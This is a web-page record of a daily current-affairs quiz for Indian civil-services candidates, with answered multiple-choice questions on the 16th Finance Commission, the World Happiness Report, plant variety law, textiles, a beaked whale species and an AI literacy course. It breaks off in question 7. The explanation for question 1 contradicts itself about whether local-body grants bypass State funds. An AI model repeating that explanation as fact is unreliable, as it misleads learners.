{"id":2755,"date":"2025-11-24T02:36:18","date_gmt":"2025-11-24T02:36:18","guid":{"rendered":"https:\/\/iasquest.com\/?p=2755"},"modified":"2026-02-11T18:47:31","modified_gmt":"2026-02-11T18:47:31","slug":"daily-current-affairs-19-11-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-19-11-2025\/","title":{"rendered":"DAILY CURRENT AFFAIRS \u2013 19.11.2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. The 16th Finance Commission recommended which of the following regarding Local Bodies?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">1. Grants to Panchayats are tied to improving sanitation and waste-management standards.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">2. Urban local bodies may receive performance-linked grants for improving own-source revenue.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\">3. Local body grants should be directly transferred to elected bodies without routing through State Consolidated Funds.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\"><strong>Select the correct answer using the code below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\"><strong>Answer: (a) 1 and 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong>In NEWS:<\/strong> What can local bodies expect from the 16th Finance Commission?<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\"><strong>16th Finance Commission (FC):<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\"><strong>Constitutional Basis<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-15\">\n<li><strong>Established under Article 280<\/strong> of the Constitution.<\/li>\n\n\n\n<li>Constituted every <strong>five years<\/strong> to recommend:<ul><li>Vertical devolution (Centre to States)<\/li><\/ul><ul><li>Horizontal devolution (among States)<\/li><\/ul><ul><li>Grants-in-aid<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Measures to strengthen local bodies and disaster management<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\"><strong>Recommendations:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-17\">\n<li>The 16th Finance Commission retained the<strong> vertical devolution of 41% of the divisible tax<\/strong> pool to the States.<\/li>\n\n\n\n<li>The 16th Finance Commission recommended altering the criteria and weights used for horizontal devolution among States.<\/li>\n\n\n\n<li>The 16th Finance Commission recommended a separate share of the divisible pool exclusively for Local Bodies.<\/li>\n\n\n\n<li>The 16th Finance Commission recommended that grants to Local Bodies continue to be routed through the State governments.<\/li>\n\n\n\n<li>The 16th Finance Commission recommended continuation of grants to Local Bodies for basic services such as sanitation and waste management.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\"><strong>Local Body Grants<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-19\">\n<li>The 16th FC recommended tied grants to rural local bodies for improving sanitation and waste-management systems. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>The 16th FC recommended performance-linked grants to urban local bodies for improving their own-source revenues. <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>The 16th FC recommended direct transfer of Local Body grants to<strong> elected Panchayats and Municipalities (not elected bodies) <\/strong>&nbsp;without routing through the State Consolidated Fund. <strong>Hence statement 3 is incorrect.<\/strong><\/li>\n\n\n\n<li>The 16th FC emphasised property-tax reforms as a part of performance-linked funding to municipalities.<\/li>\n\n\n\n<li>The 16th FC highlighted that revenue-expenditure mismatch in panchayats justifies continued Union-to-State-to-local transfers.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\"><strong>Fiscal Architecture<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-21\">\n<li>The 16th FC recommended continuation of the State Disaster Risk Management Fund (SDRMF).<\/li>\n\n\n\n<li>The 16th FC proposed changes to the weightage of \u201cdemographic performance\u201d in tax devolution.<\/li>\n\n\n\n<li>The 16th FC recommended a permanent institutional mechanism for resolving Centre\u2013State fiscal disputes.<\/li>\n\n\n\n<li>The 16th FC recommended equalisation-based principles for health and education sectors.<\/li>\n\n\n\n<li>The 16th FC recommended increasing the share of performance-based grants relative to basic grants.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2025)<\/strong> <br><br><strong>Q. Which of the following statements with regard to recommendations of the 15th Finance Commission of India are correct?<\/strong> <br><br>I. It has recommended grants of 4,800 crores from the year 2022-23 to the year 2025-26 for incentivizing States to enhance educational outcomes. <br>II. 45% of the net proceeds of Union taxes are to be shared with States. <br>III. 45,000 crores are to be kept as performance-based incentive for all States for carrying out agricultural reforms. <br>IV. It reintroduced tax effort criteria to reward fiscal performance. <br><br><strong>Select the correct answer using the code given below.<\/strong> <br><br>(a) I, II and III <br><strong>(b) I, II and IV<\/strong> <br>(c) I, III and IV <br>(d) II, III and IV<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-22 wp-block-paragraph\" style=\"color:#021ff6\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/what-can-local-bodies-expect-from-the-16th-finance-commission-explained\/article70296119.ece#:~:text=Main%20expectations%20include%20a%20percentage,its%20horizontal%20distribution%20among%20States\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/what-can-local-bodies-expect-from-the-16th-finance-commission-explained\/article70296119.ece#:~:text=Main%20expectations%20include%20a%20percentage,its%20horizontal%20distribution%20among%20States<\/strong><\/a><strong>.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\"><strong>2. With reference to the recent \u2018The World Happiness Report 2025\u2019 consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\">1. It is published by the United Nations Development Programme (UNDP).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\">2. It uses objective indicators like crime, education, and urbanisation.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\">3. India ranks in the bottom third, while Pakistan often ranks slightly higher despite weaker economic performance.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\"><strong>How many of the above statements are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\">(c) All three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\">(d) None<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\"><strong>Answer: (a) Only one<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\"><strong>In NEWS: <\/strong>Unpacking the global \u2018happiness\u2019 rankings<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\"><strong>The World Happiness Report 2025:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-36\">\n<li>The <strong>World Happiness Report (WHR)<\/strong> is published by the <strong>Wellbeing Research Centre at Oxford University<\/strong> (earlier with SDSN). <strong>Hence statement 1 is incorrect.<\/strong><\/li>\n\n\n\n<li>The WHR ranks countries according to <strong>subjective wellbeing<\/strong>, not material prosperity.<\/li>\n\n\n\n<li>It covers <strong>over 130 countries<\/strong>, depending on Gallup data availability.<\/li>\n\n\n\n<li>The Report distinguishes among <strong>emotional wellbeing<\/strong>, <strong>life satisfaction<\/strong>, and <strong>quality of life<\/strong>. <strong>Hence statement 2 is incorrect.<\/strong><\/li>\n\n\n\n<li>WHR categorises happiness across <strong>age groups<\/strong>, including trends among youth and elderly.<\/li>\n\n\n\n<li>It highlights <strong>institutional trust<\/strong>, fairness, and community strength as key components of subjective wellbeing.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\"><strong>Recent Trends<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-38\">\n<li><strong>Nordic countries<\/strong> &#8211; Finland, Denmark, Iceland, Sweden\u2014consistently top the rankings due to high institutional trust and strong welfare systems.<\/li>\n\n\n\n<li>The <strong>United States<\/strong> has fallen sharply in recent editions despite its high income levels.<\/li>\n\n\n\n<li>India ranks in the <strong>bottom third<\/strong>, while Pakistan often ranks slightly higher despite weaker economic performance. <strong>Hence statement 3 is correct.<\/strong><\/li>\n\n\n\n<li>WHR 2025 notes that <strong>youth globally report declining social connections<\/strong>, with nearly <strong>19%<\/strong> saying they have no one to rely on.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2019)<\/strong> <br><strong>Q. The Global Competition Report is published by the<\/strong> <br><br>(a) International Monetary Fund <br>(b) United Nations Conference on Trade and Development <br>(<strong>c) World Economic Forum<\/strong> <br>(d) World Bank<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-39 wp-block-paragraph\" style=\"color:#021ff6\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/opinion\/op-ed\/unpacking-the-global-happiness-rankings\/article70295706.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/opinion\/op-ed\/unpacking-the-global-happiness-rankings\/article70295706.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\"><strong>3. With reference to the \u2018Protection of Plant Variety and Farmers\u2019 Rights Act (PPV&amp;FRA Act)\u2019 which among the following statements are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-41 wp-block-paragraph\">I. Farmers cannot sell branded seeds of protected varieties under the Act.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\">II. Farmers can register their own varieties, only if they are new or novel.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-43 wp-block-paragraph\">III. A farmer cannot be prosecuted for infringement unless it is proven that they knowingly violated the Act.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\">IV. Breeders receive exclusive rights to produce, sell, market, distribute, import and export the protected variety.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-45 wp-block-paragraph\"><strong>Select the correct answer using the code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\">(a) I, II and III<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-47 wp-block-paragraph\">(b) I, II and IV<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\">(c) I, III and IV<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-49 wp-block-paragraph\">(d) II, III and IV<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\"><strong>Answer: (c) I, III and IV<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-51 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\"><strong>In NEWS: <\/strong>What changes are planned for the plant variety Act?<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-53 wp-block-paragraph\"><strong>Protection of Plant Variety and Farmers\u2019 Rights Act (PPV&amp;FRA Act):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-54\">\n<li>The PPV&amp;FRA Act, 2001 establishes a <strong>sui generis system<\/strong> of plant variety protection in India.<\/li>\n\n\n\n<li>The Act was enacted to comply with <strong>TRIPS Agreement Article 27.3(b)<\/strong>.<\/li>\n\n\n\n<li>Under the Act, <strong>new, extant, farmers\u2019 and essentially derived varieties (EDVs)<\/strong> can all be registered.<\/li>\n\n\n\n<li>Registration of varieties is based on the <strong>DUS criteria<\/strong> \u2014 Distinctness, Uniformity, and Stability.<\/li>\n\n\n\n<li>The <strong>PPV&amp;FR Authority<\/strong> is the central body responsible for registering plant varieties and maintaining the National Register.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-55 wp-block-paragraph\"><strong>Farmers\u2019 and Breeders\u2019Rights<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-56\">\n<li>Farmers have the right to <strong>save, use, sow, resow, exchange, share and sell<\/strong> unbranded seed of protected varieties.<\/li>\n\n\n\n<li>Farmers <strong>cannot sell branded seeds<\/strong> of protected varieties under the Act. <strong>Hence statement I is correct.<\/strong><\/li>\n\n\n\n<li>Farmers can register their <strong>own varieties<\/strong>, even if they are <strong>not new or novel.<\/strong> <strong>Hence statement II is incorrect.<\/strong><\/li>\n\n\n\n<li>A farmer cannot be prosecuted for infringement unless it is proven that they <strong>knowingly<\/strong> violated the Act. <strong>Hence statement III is correct.<\/strong><\/li>\n\n\n\n<li>Breeders receive exclusive rights to <strong>produce, sell, market, distribute, import and export<\/strong> the protected variety. <strong>Hence statement IV is correct.<\/strong><\/li>\n\n\n\n<li>The protection period is <strong>18 years<\/strong> for trees and vines and <strong>15 years<\/strong> for other crops.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2019)<\/strong> <br><br><strong>Q. Consider the following statements:<\/strong> <br><br>1. According to the Indian Patents Act, a biological process to create a seed can be patented in India. <br>2. In India, there is no Intellectual Property Appellate Board. <br>3. Plant varieties are not eligible to be patented in India. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br>(a) 1 and 3 only <br>(b) 2 and 3 only <br><strong>(c) 3 only<\/strong> <br>(d) 1,2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-57 wp-block-paragraph\" style=\"color:#021ff6\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/sci-tech\/agriculture\/what-changes-are-planned-for-the-plant-variety-act-explained\/article70296155.ece#:~:text=There%20is%20a%20proposal%20to,and%20Stability%20(DUS)%20test\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/sci-tech\/agriculture\/what-changes-are-planned-for-the-plant-variety-act-explained\/article70296155.ece#:~:text=There%20is%20a%20proposal%20to,and%20Stability%20(DUS)%20test<\/strong><\/a><strong>.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\"><strong>4. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-59 wp-block-paragraph\">I. India is the second-largest producer of textiles and garments after China.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\">II. India is the largest producer of cotton globally.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-61 wp-block-paragraph\">III. India is the largest producer of jute in the world.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-62 wp-block-paragraph\">IV. India is the second-largest producer of silk.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-63 wp-block-paragraph\">V. India has one of the largest installed spinning capacities in the world.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-64 wp-block-paragraph\"><strong>How many of the above statements are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-65 wp-block-paragraph\">(a) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-66 wp-block-paragraph\">(b) Only three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-67 wp-block-paragraph\">(c) Only four<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-68 wp-block-paragraph\">(d) All five<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-69 wp-block-paragraph\"><strong>Answer: (d) All five<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-71 wp-block-paragraph\"><strong>In NEWS:<\/strong> Textile, apparel export see sharp decline in October; government rescinds QCO on viscose fibres<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\"><strong>Textile Sector in India<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-73\">\n<li>The textile and apparel industry contributes around <strong>2.3% to India\u2019s GDP<\/strong>.<\/li>\n\n\n\n<li>It accounts for <strong>11\u201312% of India\u2019s total exports<\/strong>.<\/li>\n\n\n\n<li>India\u2019s textile sector is the <strong>second-largest employer<\/strong> after agriculture.<\/li>\n\n\n\n<li>The sector provides direct employment to <strong>~45 million people<\/strong> and indirect employment to <strong>~100 million<\/strong>.<\/li>\n\n\n\n<li>India\u2019s share in the <strong>global textile trade<\/strong> is around <strong>4\u20135%<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\"><strong>India\u2019s Global Position<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-75\">\n<li>India is the <strong>second-largest producer of textiles and garments<\/strong> after China.<\/li>\n\n\n\n<li>India is the <strong>largest producer of cotton<\/strong> globally.<\/li>\n\n\n\n<li>India is the <strong>largest producer of jute<\/strong> in the world.<\/li>\n\n\n\n<li>India is the <strong>second-largest producer of silk<\/strong>.<\/li>\n\n\n\n<li>India has one of the <strong>largest installed spinning capacities<\/strong> in the world.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\"><strong>Hence all the statements are correct.<\/strong><\/p>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-77 wp-block-paragraph\" style=\"color:#021ff6\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/business\/Industry\/textile-apparel-export-see-sharp-decline-in-oct-government-rescinds-qco-on-viscose-fibres\/article70295928.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/business\/Industry\/textile-apparel-export-see-sharp-decline-in-oct-government-rescinds-qco-on-viscose-fibres\/article70295928.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\"><strong>5. Consider the following statements regarding the Ginkgo-toothed Beaked Whale:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-79 wp-block-paragraph\">1. It is a deep-diving cetacean species belonging to the family Ziphiidae.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\">2. It is listed as Endangered on the IUCN Red List.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-81 wp-block-paragraph\">3. It is known primarily from stranding records rather than live sightings.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-82 wp-block-paragraph\"><strong>Which of the above statements is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-83 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-84 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-85 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-86 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-87 wp-block-paragraph\"><strong>Answer: (c) 1 and 3 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-88 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-89 wp-block-paragraph\"><strong>In NEWS: <\/strong>What are ginkgo-toothed beaked whales, spotted in the wild by researchers for the first time?<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-90 wp-block-paragraph\"><strong>Ginkgo-toothed beaked whales:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-91\">\n<li>They are a deep-diving cetacean species belonging to the <strong>family Ziphiidae<\/strong>. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>Scientifically known as <strong>Mesoplodon ginkgodens<\/strong>.<\/li>\n\n\n\n<li>Named due to their <strong>ginkgo leaf shaped teeth<\/strong>, present mainly in adult males.<\/li>\n\n\n\n<li>Distribution is <strong>poorly known<\/strong>, but strandings indicate presence in <strong>Indo-Pacific tropical and warm-temperate waters<\/strong>.<\/li>\n\n\n\n<li>Mostly known from <strong>strandings<\/strong>, as live sightings are extremely rare. <strong>Hence statement 3 is correct.<\/strong><\/li>\n\n\n\n<li>The diet consists primarily of <strong>deep-sea squid<\/strong> along with fish and crustaceans.<\/li>\n\n\n\n<li>Classified as <strong>Data Deficient (DD)<\/strong> by the <strong>IUCN Red List<\/strong>. <strong>Hence statement 2 is incorrect.<\/strong><\/li>\n\n\n\n<li>Major threats include <strong>bycatch<\/strong>, <strong>marine noise pollution<\/strong>, and <strong>naval sonar<\/strong>.<\/li>\n\n\n\n<li>Very limited information exists on their <strong>population, breeding, and behavior<\/strong>.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"726\" height=\"244\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/11\/image-17.png\" alt=\"\" class=\"wp-image-2758\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-17.png 726w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-17-300x101.png 300w\" sizes=\"auto, (max-width: 726px) 100vw, 726px\" \/><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-92 wp-block-paragraph\" style=\"color:#021ff6\"><strong>Source: <\/strong><a href=\"https:\/\/indianexpress.com\/article\/explained\/ginkgo-toothed-beaked-whales-10372400\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/explained\/ginkgo-toothed-beaked-whales-10372400\/<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-93 wp-block-paragraph\"><strong>6. Which of the following best describes the \u2018YUVA AI for ALL\u2019 initiative?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-94 wp-block-paragraph\">(a) A national programme to train government officials in advanced AI model development.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-95 wp-block-paragraph\">(b) A free, self-paced AI literacy course designed to give citizens basic understanding of Artificial Intelligence.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\">(c) A scheme to promote AI-based startups through financial incentives and incubation support.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-97 wp-block-paragraph\">(d) A curriculum framework for introducing AI as a compulsory subject in schools.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\"><strong>Answer: (b) A free, self-paced AI literacy course designed to give citizens basic understanding of Artificial Intelligence.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-100 wp-block-paragraph\"><strong>In NEWS: <\/strong>Government of India launches \u2018YUVA AI for ALL\u2019 &#8211; a free national course to help everyone understand Artificial Intelligence<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\"><strong>YUVA AI for ALL:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-102\">\n<li>It is a <strong>free national course<\/strong> launched by the <strong>Ministry of Electronics and Information Technology (MeitY)<\/strong> under the <strong>IndiaAI Mission<\/strong>.<\/li>\n\n\n\n<li>The initiative aims to empower <strong>1 crore (10 million) citizens<\/strong> with <strong>foundational AI skills<\/strong>.<\/li>\n\n\n\n<li>The course duration is <strong>4.5 hours<\/strong>, and it is <strong>self-paced<\/strong>.<\/li>\n\n\n\n<li>It focuses on <strong>ethical, responsible, and inclusive use of Artificial Intelligence<\/strong>.<strong> Hence option (b) is correct.<\/strong><\/li>\n\n\n\n<li>The course is available on platforms like <strong>FutureSkills Prime<\/strong>, <strong>iGOT Karmayogi<\/strong>, and multiple <strong>ed-tech platforms<\/strong>.<\/li>\n\n\n\n<li>Learners receive an <strong>official Government of India certificate<\/strong> upon completion.<\/li>\n\n\n\n<li>The content includes <strong>real-life Indian examples<\/strong> and explains <strong>AI basics, safe usage, and real-world applications<\/strong>.<\/li>\n\n\n\n<li>It consists of <strong>six short modules<\/strong>, covering introduction to AI, its impact on education and work, safe AI practices, and future opportunities.<\/li>\n\n\n\n<li>The initiative targets <strong>students, professionals, and general learners<\/strong> across the country.<\/li>\n\n\n\n<li>Organisations, schools, and universities can <strong>partner with IndiaAI<\/strong> to promote and integrate the course.<\/li>\n\n\n\n<li>The course was designed by <strong>Jaspreet Bindra<\/strong>, an AI expert and founder of <strong>AI &amp; Beyond and Tech Whisperer Ltd<\/strong>.<\/li>\n\n\n\n<li>It forms part of <strong>India\u2019s efforts toward becoming an AI-powered nation<\/strong> and aims to <strong>bridge the digital divide<\/strong>.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2025)<\/strong> <br><br><strong>Q. Consider the following statements regarding AI Action Summit held in Grand Palais, Paris in February 2025:<\/strong> <br><br>I. Co-chaired with India, the event builds on the advances made at the Bletchley Park Summit held in 2023 and the Seoul Summit held in 2024. <br>II. Along with other countries, US and UK also signed the declaration on inclusive and sustainable AI. <br><br><strong>Which of the statements given above is\/are correct?<\/strong> <br><br><strong>(a) I only<\/strong> <br>(b) II only <br>(c) Both I and II <br>(d) Neither I nor II<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-103 wp-block-paragraph\" style=\"color:#021ff6\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2191334\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2191334<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-104 wp-block-paragraph\">7.<strong> Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-105 wp-block-paragraph\"><strong>Statement-I : <\/strong>India is the world\u2019s third-largest methane emitter after China and the U.S.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-106 wp-block-paragraph\"><strong>Statement-II : <\/strong>According to the UNEP report, India contributes around 31 